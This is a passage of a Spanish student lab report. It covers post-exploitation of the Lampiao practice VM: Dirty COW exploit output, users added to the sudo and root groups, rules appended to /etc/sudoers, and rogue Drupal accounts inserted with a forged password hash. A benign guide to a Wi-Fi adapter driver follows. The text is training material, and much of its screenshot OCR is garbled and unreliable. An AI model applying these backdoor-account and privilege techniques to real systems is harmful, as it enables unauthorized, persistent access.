root@lampiao:~# adduser manuel_mena
Adding user "manuel_mena’
Adding new group “manuel_mena’' (1002)
Adding new user "manuel_mena‘' (1002) with group “manuel_mena’
Creating home directory ~/home/manuel_mena’
Copying files from °/etc/skel’
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for manuel_mena
Enter the new value, or press ENTER for the default
Full Name []: mane”H"H"H"H"H"H"Hlonga “Hmena
Room Number []: manuel_1"Hm
Work Phone []: 4345
Home Phone []: 6548
Other []:
chfn: name with non-ASCII characterslongamena’
chfn: room number with non-ASCII characters: "manuel_m’
Is the information correct? [Y/n] vy
root@lampiao:~# |

Figura 199. Creamos el 2 usuario

Para el siguiente usuario 6sea manuel mena se sigui6 el mismo paso a paso por lo que no
explicare de nuevo el paso a paso de lo que se hizo, ya que literalmente fue lo mismo que

explique anteriormente.

6.7.2.1 Verificacion de que el registro de los usuarios tuvo éxito

Para verificar que el registro fue exitoso lo que hicimos fue ingresar los dos usuarios
dentro de la nuestra maquina de Lampiao, tambien se pudo ingresar por el servicio del ssh pero
como queriamos que fuese un poco mas practico lo hicimos de forma local y no de forma

remota.



buntu 14.04.5 LTS lampiao ttyl

lampiao login: victor_longa
[Password :
elcome to Ubuntu 14.04.5 LTS (GNU-Linux 4.4.0-31-generic ibB6)

= Documentation: https://help.ubuntu.comn/

System information as of Sat Sep 27 12:39:54 BRT 2025

System load: 0.0 Processes: 164

Usage of ~: ?.5% of 19.07GB  Users logged in: 1

Memory usage: 184 IP address for eth0: 192.1.1.17

Swap usage: 0x

Graph this data and manage this system at:
https: rlandscape .canonical .coms

ew release "16.04.7 LTS’ available.
[Run 'do-release-upgrade’ to upgrade to it.

The programs included with the Ubuntu system are free software;
he exact distribution terms for each program are described in the
individual files in susr-share-doc/=/copyright.

buntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
pplicable law.

victor_longa@lampian:™$

=) T o ) FAR e

Figura 200. Prueba exitosa usuario victor longa

buntu 14.04.5 LTS lampiao ttyl

lampiao login: manuel_mena
[Password :
elcome to Ubuntu 14.04.5 LTS (GNU-Linux 4.4.0-31-generic i6B86)

= Documentat i https:sshelp.ubuntu.con~
System information as of Sat Sep 27 13:07:13 BRT 2025

System load: 0.0 Processes: 170

Usage of ~: ?.9% of 19.076B Users logged in: 1

Memory usage: 19« IP address for eth®: 192.1.1.17
Suap usage: 07

Graph this data and manage this system at:
https:/~landscape.canonical .con/

ew release '16.04.7 LTS' available.
'do-release-upgrade’ to upgrade to it.

The programs included with the Ubuntu system are free software:
he exact distribution terms for each program are described in the
individual files in susr/sharesdoc/=/copyright.

buntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
pplicable law.

anuelfmena@lampian:"s

Ll A = 4 FAl [ (RS

Figura 201. Prueba usuario manuel _mena



6.8. Subcapitulo 4: Explotacion del sitio web

oplampiao:~% chmod +x documentos
glampiao:~% ./documentos -s

Running ...

Password overridden to: dirtyCowFun

Received su prompt (Password: )

echo @ > /proc/sys/vm/dirty )

!
cp ftmp/.s
rm ftmp/.s
root@lampiaoc: ~#
root@lampiaoc:~#

ampiao:~#
root@lampiaoc: ~#
root@lampiaoc:~#

p
sh_ba

h_bak

Jpasswd
echo @ > /proc/sys/vm/dirty_writeba
cp /tmp/.ssh_bak /fetc/passwd
rm /tmp/.ssh_bak

clearfj

Figura 202. Limpiamos la consola

Lo que hice aqui fue limpiar la consola con el comando clear antes de empezar a realizar

el paso a paso necesario para que pudiéramos explotar el servicio web de Lampiao que

mostramos anteriormente.

6.8.1 Asignacion de privilegios y verificacion de acceso

0

root@lampiao: ~

Archivo Acciones Editar Vista Ayuda

root@lampiao: ~#

mpiao:~f
mpiao:~t
+

mpilao:~f

usermod -aG sudo victor_longa
usermod -aG root victor_longa

echo "victor_longa All=(ALL;ALL)"

usermod -aG sudo manuel_mena

usermod -aG root manuel_mena
echo "manuel_mena All=(ALL;ALL)"

1s

Figura 203. Asignamos privilegios a los usuarios



Luego, para confirmar que los usuarios quedaran con permisos administrativos, hicimos
cuatro acciones locales en la maquina Lampido: primero afiadimos a victor longa al grupo sudo
con usermod -aG sudo victor_longa; después lo agregamos también al grupo root con
usermod -aG root victor_longa; la tercera accion fue dejar una regla explicita en el fichero de
sudoers con echo "victor longa ALL=(ALL:ALL) ALL" >> /etc/sudoers para garantizar que
pueda usar sudo para cualquier comando; y, por ultimo, repetimos exactamente el mismo

procedimiento para manuel mena.

root@lampiao:~#
flag.txt

root@lampiao:~#
root@lampiao:~#
root@lampiao:/#

root@lampiao:/#
root@lampiao:/# cd var
root@lampiao:/var# 1s

root@lampiao:/var# cd www
root@lampiao: /var/wwi 1s

root@lampiao:/var/www# cd html

root@lampiao:/var/www/html# 1s

audio.méa INSTALL.pgsql.txt

authorize.php install.php update.php
CHANGELOG. txt INSTALL.sqlite.txt UPGRADE. txt
COPYRIGHT.txt INSTALL.txt web.config
cron.php lampiao g README.txt xmlrpc.php
LICENSE. txt robots. txt

index.php i
INSTALL.mysql.txt MAINTAINERS.txt
root@lampiao:/var/wm/html# Jj

Figura 204. Ingresar a la carpeta raiz con el comando

Lo siguiente que hicimos fue ingresar a la carpeta raiz con el comando cd .. luego que
estuvimos aqui el siguiente paso fue listar los archivos presentes, lo siguiente que hicimos fue
ingresamos al directorio /var con con el comando cd var, y dentro de ¢l entramos a la carpeta
www con el comando ¢d www. Posteriormente, nos movimos al directorio html con ¢d html,
que es donde generalmente se almacenan los archivos de las paginas web en Linux. Finalmente,
con el comando Is pudimos visualizar todos los archivos y carpetas del sitio, entre ellos

index.php, authorize.php, lampiao.jpg y otros archivos relacionados con la aplicacion.



6.8.2 Insercion de los datos de los usuarios

k.

tiago(@lampiao: ~
Archivo Acciones Editar Vista Ayuda

192.1.1.17

New rele

Run "do- ase-upgrade’ to upgrade to it.
y from 192.1.1.13

mysql -u drupaluser -p -h localhost drupal

information for completion of table and column names
turn off this feature to get a quicker startup with -A

to the QL monitor. Commands end with
QL conn ion id is 4
ersion: 5.5.50-0ubuntu®.14.04.1 (Ubuntu)

2016, Oracle and/or its affiliates. ALl rig

irk of Oracle Corporation and/or
be trademarks of their respective

\h* for help. Type

Type ‘help;’ or

mysql> ]

Figura 205. Nos conectamos al servidor MySQL como el usuario drupaluser

Aqui lo que hicimos fue utilizar el comando mysql -u drupaluser -p -h localhost drupal
para conectarnos al servidor MySQL como el usuario drupaluser y abrir directamente la base de
datos drupal. Al ejecutarlo se solicito la contrasefia (-p) y, tras autenticar, se mostro el prompt de
MySQL (mysql>), listo para ejecutar consultas. Se aprecia ademas que el cliente MySQL cargo
la informacion de tablas/columnas para autocompletar y muestra la version del servidor, lo que

confirma que la conexion se establecid correctamente.



tiago@lampiac: ~
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r ‘\h" for help. Type '\c’ to clear the current

ock
bootstrap

Figura 206. Empezamos a explorar la base de datos desde MySQL

Luego lo que se hizo fue empezar a explorar la base de datos desde MySQL.
Primero se ejecutd show databases;, lo que mostro las bases disponibles: information_schema y
drupal. Luego, con el comando use drupal, se seleccioné la base de datos de interés. Después, se
uso show tables, para listar todas las tablas dentro de drupal, apareciendo varias relacionadas

con el sistema.

root@lampiao: /y
root@lampiao:
README. txt

root@lamplao: el / estt cd default
root@lampiao:/ / S
default.settings

Figura 207. Navegamos dentro del arbol del sitio web para localizar la configuracion drupal

Después que hicimos eso, navegamos dentro del arbol del sitio web para localizar la
configuracion de Drupal. Primero se ejecut6 cd sites para entrar en el directorio sites de la web,
luego Is para listar su contenido. A continuacion, se entrd en default con cd default y se volvié a

listar (Is), mostrando los archivos clave default.settings.php, files y settings.php. En pocas



palabras: se localizo la carpeta y los ficheros de configuracion de la instalacion Drupal para

analizarlos o editarlos.

root@lampiao: fvarfwwwihtml/sites/default
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GNU nano 2.2.6 File: settings.php

Figura 208. Mostramos el archivo setting.php

Aqui solo mostramos el archivo setting.php en el cual ingresamos usando el comando
nano settings.php ; como tal, no realizamos ninguna configuracion dentro de este archivo, el
archivo basicamente nos muestra varias listas que contienen la base de datos, el nombre la

contrasena etc.

6.8.3 Creacion de los archivos para generar el hash

phpass_hash.php

Figura 209. Creamos el archivo hash

Usando el comando nano phpass_hash.php, creamos el archivo con ese nombre el cual tenia el

siguiente contenido.



kali@kali: ~
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GNU nano 8.4 phpass_hash.php

<?php

[1] 7 trim(fgets(STDIN));

false);

Figura 210. Visualizamos el archivo Hash
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GNU PasswordHash.php
?php

Portable PHP password hashing framework.
version ©.3 / genuine.

Written < r at openwall.com> in 20
plac

R OHH B & &S8O

__construct(3i

—>itoa6s = './0123 defghijklmnopqrst

Figura 211. Se creo el archivo PasswordHash.php

Aqui, con nano PasswordHash.php lo que se hizo fue crear el archivo
PasswordHash.php en el editor de texto Nano. Dentro se peg6 la implementacion completa de la
clase PasswordHash , se guardé con Ctrl+O y se cerrd con Ctrl+X. El objetivo fue tener la clase
completa en el sistema para generar y comprobar hashes PHPass localmente (y asi crear hashes

compatibles con la instalacion de Drupal/Lampiao).
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GNU nano 8.4 phpass_hash.php
<?php
'PasswordHash.php’;

[1] 72 trim(fgets(STDIN));

PasswordHash(8, false);

—HashPassword( )5
. PHP_EOL;

Figura 212. Se cred un archivo de texto llamado phpass_hash.php

Con nano phpass_hash.php se cre6 un archivo de texto llamado phpass_hash.php en el
editor Nano para escribir el script que genera hashes phpass. En ese fichero se pego el pequeio
script PHP que hace require_once 'PasswordHash.php';, lee la contrasefia, instancia

PasswordHash(8, FALSE) y llama a HashPassword($pw) para imprimir el hash.

phpass_hash.php

$P$GkezX3NtO1ZdIRVWADXSLBmxT jROKTD

e

Figura 213. Se genero el hash

Por ultimo, generamos nuestro hash con el comando php phpass_hash.php

6.8.4 Insertamos los datos los usuarios a la base de datos
Para insertar los datos a la base de datos, lo que hicimos fue insertar con el comando
INSERT INTO los datos tanto del usuario victor longa como de manuel mena, esto lo hicimos

tal como se ve a continuacion.



mysql>
mysql> INSERT INTO users

— (uid, name, pass, mail, theme, signature, signature_format, created, acces
s, login, status, timezone, language, picture, init, data)

—> VALUES
*victor_longa®, "HASH_VICTOR®', ‘victoragmail.com’, "', "°, "', UNIX_TI
@, 0, 1, "Colombia/Quibdo’, **, @, ‘victoragmail.com®, NULL);
1 row affected (0.02 sec)

Figura 214. insertamos los datos de victor longa

nysqgl>
nysgl> INSERT INTO users

— (uid, name, pass, mail, theme, signature, signature_format, created, acces
s, login, status, timezone, language, picture, init, data)

—> VALUES

— (6, 'manuel_mena®, *HASH_MANUEL', ‘manuel@agmail.com’, *°*, "°, ', UNIX_TIM
ESTAMP(), ©, ©, 1, ‘Colombia/Quibdo*, "', ©, ‘manuel@gmail.com’, NULL);
Query OK, 1 row affected (0.02 sec)

vsqgl> i

Figura 215. insertamos los datos de manuel mena

6.8.4.1 Visualizamos lo mostrado en la base de datos

Con el comando SELECT uid, name, maiL,status, pass FROM users; lo que hicimos
fue traer el usuario, nombre,correo, la contrasefia y otros datos de la tabla usuario de nuestra base

de datos tal como lo muestran las siguientes imagenes.

uid name mail status

lampiao@lampiao.com
ederglampiao.com
victoragmail.com
victoragmail.com
manuel@gmail.com

Eder
victor
victor_longa

&
|

2

|

| tiago
I

|

|

| manuel_mena
5

+
|

2
|
|
|
|
|
|

%

+ o e o —
d o —— i o —

+
I
|
|
I
I
I
I

6

rows in set (0.00 sec)

Figura 216. Visualizamos parte de los datos insertados

6.8.4.2 Insertamos el hash en la base de datos

Lo siguiente que hicimos fue insertar el hash en nuestra base de datos usando la

sentencias que se presentan en las imagenes.



mysql> UPDATE users
— SET pass = '$P$GkezX3Nt01ZdIRVWAOXSLBmXTjROKFO
— WHERE nam ‘manuel_mena';

Query OK, 1 row affected (0.02 sec)

Rows matched: 1 Changed: 1 Warnings: 0

mysql>
mysql> i

Figura 217. insertamos el hash par los usuarios

Por ultimo, mostramos lo utilizando el comando SELECT uid, name, mailL,pass

FROM users; mostramos lo aplicado.

JgtIVIPAN140KHKY
VPmVg fwI2U ..
cBUW

t01Zd IRV

$P$GkozX3INLO1ZdT

Figura 218. Visualizamos los usuarios y sus hash



7. Capitulo 7: Manual de Instalacion y Configuracion Del Adaptador Inalambrico Tp-

Link T1-Wn722n En Linux

7.1. Introduccion
El presente manual tiene como objetivo guiar la instalacion y configuracion del adaptador
inalambrico TP-Link TL-WN722N en Kali Linux, brindando una referencia practica y detallada
para su correcto funcionamiento en modo monitor. A lo largo del documento, se explican los
conocimientos previos sobre el adaptador, sus caracteristicas principales, y la importancia de

comprender su funcionamiento antes de iniciar la instalacion.

Se detallan los pasos necesarios para que Kali Linux detecte el adaptador, incluyendo la
creacion del filtro USB en la maquina virtual y la verificacion de su reconocimiento en el
sistema. Posteriormente, se aborda la instalacion de los drivers, la preparacion de la interfaz, la
activacion del modo monitor y la verificacion mediante herramientas como airmon-ng e

iwconfig.

El manual también contempla los problemas més comunes que pueden surgir durante el
proceso y proporciona soluciones claras para asegurar que el adaptador funcione correctamente.
De esta manera, se garantiza un procedimiento ordenado y completo, desde la conexion fisica del
dispositivo hasta su configuracion avanzada, permitiendo a los usuarios realizar auditorias y

analisis de redes inaldmbricas de manera eficiente y segura.



7.2. Objetivos
7.2.1 General
Guiar de manera practica y detallada la instalacion y configuracion del adaptador
inalambrico TP-Link TL-WN722N en Kali Linux, incluyendo la puesta en modo monitor, la

verificacion de su funcionamiento y la resolucidon de posibles problemas durante el proceso.

7.2.2  Especificos

e Explicar los conocimientos previos necesarios sobre el adaptador TP-Link TL-
WN722N, incluyendo sus caracteristicas técnicas y funcionamiento.

e Describir paso a paso el proceso de deteccion del adaptador en Kali Linux, desde
la conexiodn fisica hasta la comprobacion en la maquina virtual.

e Detallar la instalacion de los drivers y dependencias, asi como la preparacion de la
interfaz para habilitar el modo monitor.

e Proporcionar soluciones a los problemas técnicos mas comunes durante la
instalacién y configuracion, garantizando que el adaptador funcione

correctamente para analisis de redes inalambricas.



7.3. Planteamiento Del Problema
Durante la configuracion del adaptador inaldmbrico TP-Link TL-WN722N en Kali
Linux, surgieron varios desafios técnicos que dificultaban su correcta instalacion y
funcionamiento. Uno de los problemas principales fue que la maquina virtual no detectaba el
adaptador debido a la falta de creacion del filtro USB, elemento indispensable para que el

dispositivo sea reconocido por el sistema.

Adicionalmente, servicios del sistema que podian interferir con la interfaz inalambrica,
impidiendo la activacion del modo monitor necesario para capturar trafico de red. Estos
inconvenientes retrasan el proceso de instalacion y limitan la capacidad de utilizar el adaptador
para auditorias de redes y andlisis de trafico inalambrico, afectando la eficacia de las practicas de

seguridad informatica.

Por ello, el presente manual busca proporcionar una guia detallada y paso a paso, que
permita superar estos obstaculos, asegurando que el adaptador funcione correctamente en Kali

Linux y cumpla con los objetivos de analisis y monitoreo de redes inalambrica.



7.4. Subcapitulo 1: Conocimientos Previos Sobre el Adaptador de Red Inalambrico TP-

LINK TI-WN722N

Figura 219. Adaptador TP-LINK TI-WN722N

7.4.1 ;Qué es el adaptador TP-LINK TI-WN722N ?

El TP-Link TL-WN722N es un adaptador de red inaldmbrico USB disefiado para
proporcionar conectividad Wi-Fi a computadores de escritorio o portatiles que no cuentan con
tarjeta inalambrica integrada o que requieren mejorar la calidad de su sefal. Este dispositivo
destaca por incluir una antena externa de alta ganancia, la cual permite optimizar tanto la
transmision como la recepcion de la sefial, asegurando asi una conexidon mas estable y con mayor

cobertura dentro del hogar u oficina.

Seglin (TP-LINK, s. f.) TL-WN722N tiene una antena externa de alta ganancia para
asegurar una transmision y recepcion de sefial mas fuertes. Esto le ayuda a obtener una
conexion Wi-Fi estable en toda su casa. Ademas, la antena desmontable se puede girar y

ajustar segun sea necesario para adaptarse a varios entornos operativos.



Una de sus ventajas principales es que la antena es desmontable y ajustable, lo que
significa que puede girarse o cambiarse de posicion segin las condiciones del entorno,
adaptandose a diferentes necesidades operativas. Esto lo convierte en una solucidn practica para
usuarios que buscan mejorar la estabilidad y el alcance de su red inalambrica sin necesidad de

reemplazar su equipo principal.

Figura 220. Contenido que trae la caja del adaptador

Al comprar el adaptador, dentro de su caja nos encontramos que trae:
1) El adaptador de red con una antena desmontable.

2) Manual de instrucciones para su instalacion rapida

3) Cable usb a usb para conectarlo en de forma indirecta al pc.

7.4.2 Caracteristica mds importante de este adaptador
Segun (TP-LINK, s. f.) “El adaptador USB inalambrico N TL-WN722N le permite

conectar una computadora de escritorio o portatil a una red inalambrica y acceder a una



conexion a Internet de alta velocidad. Proporciona una velocidad inalambrica de hasta 150

’

Mbps, lo que es beneficioso para los juegos en linea o incluso la transmision de video.’

La principal caracteristica del TP-Link TL-WN722N es su antena externa de alta
ganancia de 4 dBi, la cual mejora de manera significativa la potencia de la sefial Wi-Fi. Gracias a
esto, el adaptador garantiza una transmision y recepcion mas estables en comparacion con otros
dispositivos con antenas internas. Ademas, al ser desmontable y ajustable, la antena permite
orientarla en diferentes direcciones, optimizando el rendimiento segun las condiciones del

entorno y ofreciendo mayor cobertura en el hogar u oficina.

Adaptador |y

\alambrico
AltaBanancia
BN150 Mbps

| =WIN722N

ankenidoe del
naguete

- Adaptador Inalambrico
JAita Ganancia
JL-WN722N

+ Gufa de Instalacion
Répida

Especificaciones

“’"Evsténdares: IEEE
'802.11n/g/b
Interfaz: USB 2.0
LED: Estado (Interno)

% Boton: WPS
"+ Seguridad: WEP, WPA/
WPA2, WPA-PSK /
WPA2-PSK
» Dimensiones: 3,7 x 1.0x
0,4pulg(93,6x26 11
mm)

Figura 221. Caracteristica del adaptador segun su informacion



7.5. Subcapitulo 2: Pasos Para Hacer Que Kali Linux Detecte El Adaptador
Inalambrico
Lo primero que debemos hacer es lograr que nuestra maquina virtual detecte el adaptador
de red, esto es importante porque nos permite probar que al momento de instalar los driver todo

funciona correctamente.

7.5.1 Paso I: Conecta el adaptador USB TL-WN722N a tu equipo fisico
Aunque suene un poco légico, lo primero que debemos hacer conectar la antena o
adaptador a nuestro pc, esto se hace con el fin de que sea detectado por nuestra maquina virtual,

es importante revisar que si estemos dando acceso a nuestro puertos USB.

Figura 222. Conectamos el adaptado a un puerto USB

7.5.1.1 Creamos el filtro USB

Lo siguiente que se hizo fue ingresar a VirtualBox luego ingresamos a la configuracion

de Kali Linux cuando estemos aqui haremos lo que se muestra en la siguiente imagen



w Fuertos serie

#° uss

-

Figura 223. Ingreso al apartado USB

£ KALI - Settings S
[
paste M Search settings £ | [g
E General )
Sistema Use
B Pantalla 8 Habilitar controlador USB 1

O controlador USB 1.1 (OHCI)

Almacenamiento

© controlador USB 2.0 (OHCI + EHCI) E

1 ('DI Audic O Controlador USE 3.0 (xHCI)
@ Red Filtros de dispositivos USB

1 a8
_’.\} Puertos serie 8 L
_@ use

| D Carpetas compartidas L

[ | ﬁ Interfaz de usuario

Carpetas compartidas

Cancelar Ayuda

e =

Figura 224. Se crea el filtro USB

En esa misma ventana, haz clic en el (que esta abajo de los puertos seriales) que esté al
lado derecho (donde dice “Filtros de dispositivos USB”) Le damos clic y nos deberia mostrar

una lista de dispositivos USB conectados.

Pl
Realtek 802.11n MIC
Realtek Semiconductor Corp. [0110]

Chicony Electronics Co,, Ltd [9660]

E

Figura 225. Se selecciona el adaptador en el filtro

Al seleccionarlo nos saldra lo que haremos es seleccionar el que corresponda a el

adaptador TP-LINK Wireless USB Adapter. En mi caso era el Realtek 802.11n NIC.



33 KALI - Settings

o x|
Basic M Search settings £
E General UsB
. @ Habilitar controlador USB
Sistema -
O controlador USE 1.1 (OHC)
@ Pantalla © Controlader USB 2.0 (OHCI + EHCI)
@ Almacenamiento O controlader USB 3.0 (xHCl)
(D:' Filtros de dispesitives USB
Audio
@ Realtek 802.11n NIC @
[ Red @
8
@ Puertos serie ]
[] carpetas compartidas
] intertaz de usuario P
Nombre Ruta Acceso Automontar En | (@

cancelar | Ayuda
Figura 226. Adaptador seleccionado
El filtro USB que creamos en VirtualBox lo que hace es asignar automaticamente un

dispositivo USB especifico a la maquina virtual, permitiendo conexidn persistente y pruebas

directas.

7.6. Paso 2: arranca tu maquina virtual de Kali Linux y revisemos si Kali lo esta viendo
Lo primero que debemos lograr es que la maquina virtual detecte el adaptador de red.
Esto es necesario porque nos permite confirmar, antes de instalar controladores, que el hardware
estd correctamente enrutado a la VM y que el sistema operativo lo reconoce (por ejemplo, Isusb
mostrd 2357:010c — TP-Link TL-WN722N). Asi evitamos instalar controladores incorrectos y

acortamos la resolucion de problemas si surgen incompatibilidades.

root (@kali:
Session Acciones Editar Vista Ayuda

on 1.1 root hub
3ox USB Tablet

Figura 227. Detectmos el adaptador con Lsusb



posteriormente, utilizamos el comando ip a, el cual nos permite listar todas las interfaces
de red disponibles en la maquina virtual. De esta manera confirmamos que el adaptador
inalambrico fue reconocido como una interfaz propia (por ejemplo, wlan0), requisito
indispensable para poder configurarlo en modo monitor y emplearlo en pruebas de auditoria de

redes.

UNKNOWN group default glen 1@00

mtu 1500 gdisc fgq_codel state UP group default glen 1000

f

group default glen 1000
|

Figura 228. Listamos todas las interfaces de red disponibles en la maquina virtual.

lo no wireless extensions.
ethd no wireless extensions.

wlan@ . ESSID:off/any

anaged Access Point: Not-A iate Tx-Power=:
short limit:7 RTS thr Y ragment thr:off

key:off

Figura 229. Comprobamos que el adaptador TP-Link fue reconocido como wlan(0

Luego empleamos el comando iwconfig, que permite visualizar las interfaces

inalambricas y sus caracteristicas. Con este comprobamos que el adaptador TP-Link fue



reconocido como wlan0, lo cual confirma que el sistema lo identifica como dispositivo Wi-Fiy

puede configurarse para distintas operaciones.

1déb, idProduct

Product SerialNumber=1
-amd6&4 eh

déb, idProduct=

Figura 230., Utilizamos el comando dmesg | grep usb para revisar los registros del kernel

Asimismo, utilizamos el comando dmesg | grep usb para revisar los registros del kernel.
Con este paso verificamos que el adaptador TP-Link TL-WN722N fue detectado, mostrando su

identificador USB y confirmando la carga del firmware necesario para su funcionamiento.

Session Acciones Editar Vista Ayuda

amdé4 ehci_hcd

1deb, id
g Product
PCI host r er
Lin 6.1

BT=0,

ufw.bin

Figura 231. Confirmando la carga del firmware



7.7. Subcapitulo 3: Instalacion de Los Driver Del Adaptador en Kali Linux
Para instalar los driver de nuestro adaptador, lo primero que debemos hacer es actualizar
los paquetes y herramientas de nuestro sistema Kali linux, esto lo hacemos con el fin de

evitarnos futuros problemas de paquetes desactualizados.

7.7.1 Actualizamos los paquetes de Kali linux
Con el comandos sudo apt update descargamos los paquetes que no tengamos todavia a
la mano, es necesario que ingresemos a super usuario o root para realizar este paso, para ello se

os solicitara la contrasefia al momento de ingresar ese comando

o i update

[sudo] contrasena para kali:

Lo siento, pruebe otr v

[sudo] contrasena para kali:

i.download/kali kali-rolling InRelease [34,0

i.download/ 4

i.downloa i (deb) p,6 MB]
i.download/ i rib amd64 P: { g8 kB]
i.download, i ka (deb) [326 kB

[Fy]

D
LI T

oo

i.downloa a
i.download/kal

Li.download/kali
DéscargadDS 73,3 MB en 24s (3.812 kB/s)
Se pueden actualizar 1189 paquetes. Ejecute w«apt list --upgradable» para verlos.

Figura 232. Comandos sudo apt update

Luego ingresamos el comando sudo apt upgrade , este comando lo que hacees actualizar
toda la paqueteria que tenemos en Kali linux, al ingresarnos nos mostrara una lista de paquetes y
nos pedir que confirmemos con un si 0 un no si queremos actualizarlos, si le damos en si

comenzara a actualizarse. Esto puede tardar un momento en realizarse.



amass-common
libblura

libjs-jquer

libjs-un

libmongoc b i a ad-provision
libmongocry i 64 -dsdb-modules

Figura 233. Comando sudo apt upgrade

La figura que veran acontinuacion, muestra como se debe ver la actualizacion de los
paquetes que tenemos en Kali Linux, esto puede demorar de acuerdo a la velocidad de nuestro

internet.

ridos:
hdf4-tools i 2 npm
liblzma-doc ——

pythol
shell-empire

64, Removing: @, Not Upgradin
MB

ntinue? [
:1 http:

ain amdé4 libnss-systemd amd
ali-rollin

1i kali-rolling/main amdé4 openssl-pr

1i kali-rolling/main amdé4 libss13t64 amd64

Figura 234. Actualizacion de los paquetes.



@

Cancelar Iniciar sesion

Figura 235. Reiniciamos nuestra maquina

Después de actualizar estos paquetes ya existentes, lo que se hace es ingresar el comando

sudo reboot, esto reiniciara nuestra maquina con las nuevas actualizaciones y paqueteria lista.

7.7.2  Instalacion de dependencias para la compilacion de drivers
Como 2 paso, lo que necesitamos hacer es usar el comando sudo su, o sudo -s para
ingresar al modo root; Con este comando y la contrasefia ingresamos a este modo, esto lo pueden

ver en la siguiente imagen.

Figura 236. Ingresamos a modo root

Luego de esto ejecutamos el comando apt install be
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Figura 237. Comando apt install bc

Con el comando apt install be instalamos la calculadora de precision arbitraria, una
utilidad de consola que permite realizar operaciones matematicas avanzadas y que resulta util en

pruebas o en scripts para automatizar calculos dentro de Kali Linux.
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Figura 238. Se instalan las herramientas fundamentales de compilacion en Linux.



Posteriormente, se ejecutd el comando apt-get install build-essential, mediante el cual
se instalan las herramientas fundamentales de compilacion en Linux. Este paquete agrupa
compiladores, enlazadores y librerias esenciales que permiten compilar e instalar controladores o
aplicaciones a partir del cddigo fuente, garantizando asi un entorno de desarrollo completo

dentro de la maquina virtual.

Session Acciones Editar Vista Ayuda

install libelf-dev
endo lista de pag 85 ... Hecho
ando arbol de dependencias ... Hecho
X informacion de estado Hecho
Los pa indicados a continuacion se instalaron de forma automatica y ya no s

—provision
pt autoremoven

3 de chi
1.914 espacio de disco adicional despues d
nuar? [S/n] |}

Figura 239. Comando apt-get install libelf-dev, encargado de instalar las librerias de desarrollo

También se utilizé el comando apt-get install libelf-dev, encargado de instalar las
librerias de desarrollo ELF. Estas librerias permiten manejar archivos en formato Executable and
Linkable Format (ELF), ampliamente utilizado en sistemas Linux. Su instalacion es necesaria al
momento de compilar modulos del kernel, tambien nos toco darle si para que continuara

descargando las librerias.
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Figura 240. Instalamos los encabezados del kernel

Finalmente, se emple6 el comando apt-get install linux-headers-$(uname -r), el cual
instala los encabezados del kernel correspondientes a la version en ejecucion, identificada
dindmicamente con uname -r. Estos archivos proporcionan las definiciones y estructuras internas
del kernel, resultando imprescindibles para compilar mdédulos o controladores que deban

integrarse de manera precisa con la version actual del sistema operativo.

7.7.3 Descargamos los driver
Bueno para descargar los driver lo primero que hicimos fue ingresar con el comando cd

/home/Kali nos fuimos a la carpeta de usuario Kali.

/home

Jhome/kali

Figura 241. Ingresamos al directorio kali

Luego con mkdir /home/Kali/Desktop creamos una carpeta llamada Desktop donde
guardaremos los driver que clonaremos, lo siguiente que hicimos fue entrar a entra carpera y

estando aqui ejecutamos el comando git clone https://github.com/SimplyCeo/rtI8188eus.git



esto nos permitio clonar los driver en esa carpeta extrayéndolos de un directorio GitHub que

mustran aqui.

/home/kali
Jhome/kali/Desktop

/home/kali
Desktop

/home/kali/Desktop

clone http gitlab.com/SimplyCEO/rt18188eus.git
Clonando en "rtl8
Enumeratin
[ ng objects:
emote: Compr
Becibiendo objetos:

Figura 242. Creamos una carpeta llamada Desktop

7.7.3.1 Configuracion del driver para el adaptador WiFi

/home/kali/Desktop
rt18188eus

/home/kali/Desktop/rt18188eus

t e fetc/r )be.d/realtek.co

/home/kali/Desktop/rt18188eus
ioctl_cfg80211.c ReleaseNotes.pdf
dkms.conf Kconfig rt18188eus-toggle-monitor.desktop

dkms-install.sh LICENSE rtw_security.c
dkms-remove.sh Makefile rtw_security.h

README .md

/home/kali/Desktop/rt18188eus

fetc/r

/home/kali/Desktop/rt18188eus

ioctl_cfg80211.c ReleaseNotes.pdf
dkms.conf Kconfig rt18188eus-toggle-monitor.desktop
dkms-install.sh LICENSE rtw_security.c
dkms-remove.sh Makefile rtw_security.h

README .md

/home/kali/Desktop/rt18188eus

Figura 243. Comando para ingresar al divectorio del driver clonado cd rtl8188eus



Primero fue necesario preparar el sistema para usar el controlador correcto del adaptador
utilizamos el comando para ingresar al directorio del driver clonado cd rtl8188eus inalambrico.
Luego usamos el comando echo "blacklist r8188eu'" > /etc/modprobe.d/realtek.conf y
después s cred una regla en el archivo de configuracion de modprobe para bloquear el modulo
genérico r8188eu y evitar conflictos con el nuevo, mediante: echo "blacklist r8188eu" >

/etc/modprobe.d/realtek.conf

Posteriormente, en la carpeta del proyecto rtl8188eus, se verificaron los archivos con Is y
se compil6 el mdédulo con el comando make. este proceso gener6 el driver especifico para el
chipset Realtek 8188eus, asegurando su compatibilidad con Kali Linux y permitiendo

posteriormente su instalacion e inicio en modo monitor.
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M/ . . ;
IM]
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[M]1 /home 411!Dﬂ PTODIIT ] L/phy
[M] / 'hal/phydm/
(M1 / : esk / =|'I_,.f"ph1_,rdnu"r‘r'|
Ml / . . ,
[M]
[M]
[M] i
(M1 / i esk ‘T 'hal/phydm/r e/phydm_rt181
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LD [Mm] :

MODPOST / eskt : s/N s . SYMVErs
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Beu.ko /lib/modules/6.12 kali-amdée4/kernel/drivers/net/w
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Figura 244. el controlador, se procedio a su instalacion en el sistema



Una vez compilado el controlador, se procedid a su instalacion en el sistema con los
siguientes comandos sudo make install lo que hicimos fue Instalar el modulo compilado en el
kernel de Linux este comando copia el archivo generado 8188eu.ko al directorio de modulos del
kernel /lib/modules/$(uname -r)/kernel/drivers/net/wireless/ y actualiza las dependencias de los
modulos con depmod, lo que permite que el sistema reconozca el nuevo controlador en futuros
arranques. Con esto, el adaptador inalambrico TP-Link TL-WN722N (chipset Realtek

RTL8188eus) quedo listo para ser cargado en el sistema y utilizado en modo monitor.

/home/kali/Desktop/rt18188eus
: install
install -p -m 644 8188eu.ko /lib/modules/6.12.38+kali-amd64/kernel/drivers/ne
ireless/
/sbin/depmod -a 6.12.38+kali-amdo4

/home/kali/Desktop/rt18188eus

8188eu

/home/kali/Desktop/rt18188eus

Figura 245. Dejamos listo el adaptador inalambrico

Después de compilar el controlador, se ejecutéd el comando sudo make install para
instalar el médulo generado en el sistema. Este proceso copia el archivo 8188eu.ko al directorio
